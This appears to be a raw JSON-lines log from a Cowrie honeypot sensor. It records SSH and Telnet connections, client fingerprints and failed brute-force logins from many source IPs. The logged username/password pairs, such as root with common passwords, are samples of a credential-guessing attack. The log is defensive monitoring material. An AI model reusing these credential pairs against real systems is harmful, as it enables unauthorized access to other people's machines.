{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:54.933218Z","src_ip":"27.50.25.190","session":"574ba84a80da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:56.166953Z","src_ip":"27.50.25.190","session":"574ba84a80da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":53262,"dst_ip":"159.203.135.109","dst_port":22,"session":"9565bc86e73d","protocol":"ssh","message":"New connection: 77.94.47.83:53262 (159.203.135.109:22) [session: 9565bc86e73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:19.818889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:19.823508Z","src_ip":"77.94.47.83","session":"9565bc86e73d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:19.933080Z","src_ip":"77.94.47.83","session":"9565bc86e73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12051987","message":"login attempt [root/12051987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:20.265558Z","src_ip":"77.94.47.83","session":"9565bc86e73d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:20.918349Z","src_ip":"213.183.120.56","session":"43ad4f4b1683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:21.377401Z","src_ip":"77.94.47.83","session":"9565bc86e73d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36868,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bc80246cac8","protocol":"telnet","message":"New connection: 69.4.83.194:36868 (159.203.135.109:23) [session: 5bc80246cac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:30.263819Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42276,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a1f74494350","protocol":"telnet","message":"New connection: 69.4.83.194:42276 (159.203.135.109:23) [session: 2a1f74494350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:41.953806Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":38690,"dst_ip":"159.203.135.109","dst_port":22,"session":"3da14ace529a","protocol":"ssh","message":"New connection: 182.18.161.165:38690 (159.203.135.109:22) [session: 3da14ace529a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:52.362159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:52.367096Z","src_ip":"182.18.161.165","session":"3da14ace529a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:52.576772Z","src_ip":"182.18.161.165","session":"3da14ace529a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A12345","message":"login attempt [root/A12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:53.446693Z","src_ip":"182.18.161.165","session":"3da14ace529a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:49:54.658561Z","src_ip":"182.18.161.165","session":"3da14ace529a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":39854,"dst_ip":"159.203.135.109","dst_port":22,"session":"826f127ee2cd","protocol":"ssh","message":"New connection: 94.159.110.201:39854 (159.203.135.109:22) [session: 826f127ee2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:01.868340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:01.877569Z","src_ip":"94.159.110.201","session":"826f127ee2cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:01.999737Z","src_ip":"94.159.110.201","session":"826f127ee2cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magazin","message":"login attempt [root/magazin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:02.369056Z","src_ip":"94.159.110.201","session":"826f127ee2cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:03.493834Z","src_ip":"94.159.110.201","session":"826f127ee2cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":48846,"dst_ip":"159.203.135.109","dst_port":22,"session":"216d2fe22815","protocol":"ssh","message":"New connection: 213.183.120.56:48846 (159.203.135.109:22) [session: 216d2fe22815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:03.865988Z"}
{"eventid":"cowrie.session.closed","duration":36.54473924636841,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:06.808437Z","src_ip":"69.4.83.194","session":"5bc80246cac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":37382,"dst_ip":"159.203.135.109","dst_port":22,"session":"026c294eaa1c","protocol":"ssh","message":"New connection: 4.194.4.255:37382 (159.203.135.109:22) [session: 026c294eaa1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:08.767843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:08.775657Z","src_ip":"4.194.4.255","session":"026c294eaa1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:09.016495Z","src_ip":"4.194.4.255","session":"026c294eaa1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX#EDC","message":"login attempt [root/1qaz@WSX#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:10.005180Z","src_ip":"4.194.4.255","session":"026c294eaa1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:11.252792Z","src_ip":"4.194.4.255","session":"026c294eaa1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.835057497024536,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:18.788632Z","src_ip":"69.4.83.194","session":"2a1f74494350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":55816,"dst_ip":"10.17.0.5","dst_port":22,"session":"d78563ff98e2","protocol":"ssh","message":"New connection: 103.82.20.28:55816 (10.17.0.5:22) [session: d78563ff98e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:19.486404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:19.491144Z","src_ip":"103.82.20.28","session":"d78563ff98e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:19.747840Z","src_ip":"103.82.20.28","session":"d78563ff98e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skinhead","message":"login attempt [root/skinhead] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:20.516572Z","src_ip":"103.82.20.28","session":"d78563ff98e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:21.776072Z","src_ip":"103.82.20.28","session":"d78563ff98e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":38172,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eee33fe766d","protocol":"ssh","message":"New connection: 27.50.25.190:38172 (159.203.135.109:22) [session: 0eee33fe766d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:25.910553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:25.914972Z","src_ip":"27.50.25.190","session":"0eee33fe766d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:26.142842Z","src_ip":"27.50.25.190","session":"0eee33fe766d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"runner","message":"login attempt [gitlab-runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:27.091262Z","src_ip":"27.50.25.190","session":"0eee33fe766d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:28.323180Z","src_ip":"27.50.25.190","session":"0eee33fe766d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":46672,"dst_ip":"159.203.135.109","dst_port":23,"session":"906cd85a42b4","protocol":"telnet","message":"New connection: 50.62.181.92:46672 (159.203.135.109:23) [session: 906cd85a42b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:34.778038Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":49756,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad26fbc14538","protocol":"ssh","message":"New connection: 167.172.174.185:49756 (159.203.135.109:22) [session: ad26fbc14538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:35.721459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:35.726101Z","src_ip":"167.172.174.185","session":"ad26fbc14538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:35.810510Z","src_ip":"167.172.174.185","session":"ad26fbc14538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Woaini123","message":"login attempt [root/Woaini123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:36.212437Z","src_ip":"167.172.174.185","session":"ad26fbc14538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:37.304637Z","src_ip":"167.172.174.185","session":"ad26fbc14538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35422,"dst_ip":"159.203.135.109","dst_port":23,"session":"590b261a4297","protocol":"telnet","message":"New connection: 69.4.83.194:35422 (159.203.135.109:23) [session: 590b261a4297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:39.187341Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:42.489537Z","src_ip":"213.183.120.56","session":"c8adf9ed990e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41728,"dst_ip":"159.203.135.109","dst_port":23,"session":"4753535971da","protocol":"telnet","message":"New connection: 69.4.83.194:41728 (159.203.135.109:23) [session: 4753535971da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:55.415925Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41738,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddf4bf5a5eb3","protocol":"telnet","message":"New connection: 69.4.83.194:41738 (159.203.135.109:23) [session: ddf4bf5a5eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:56.447613Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.47.4.5","src_port":56644,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5a020576687","protocol":"ssh","message":"New connection: 78.47.4.5:56644 (10.17.0.5:22) [session: a5a020576687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:59.134655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:59.138978Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
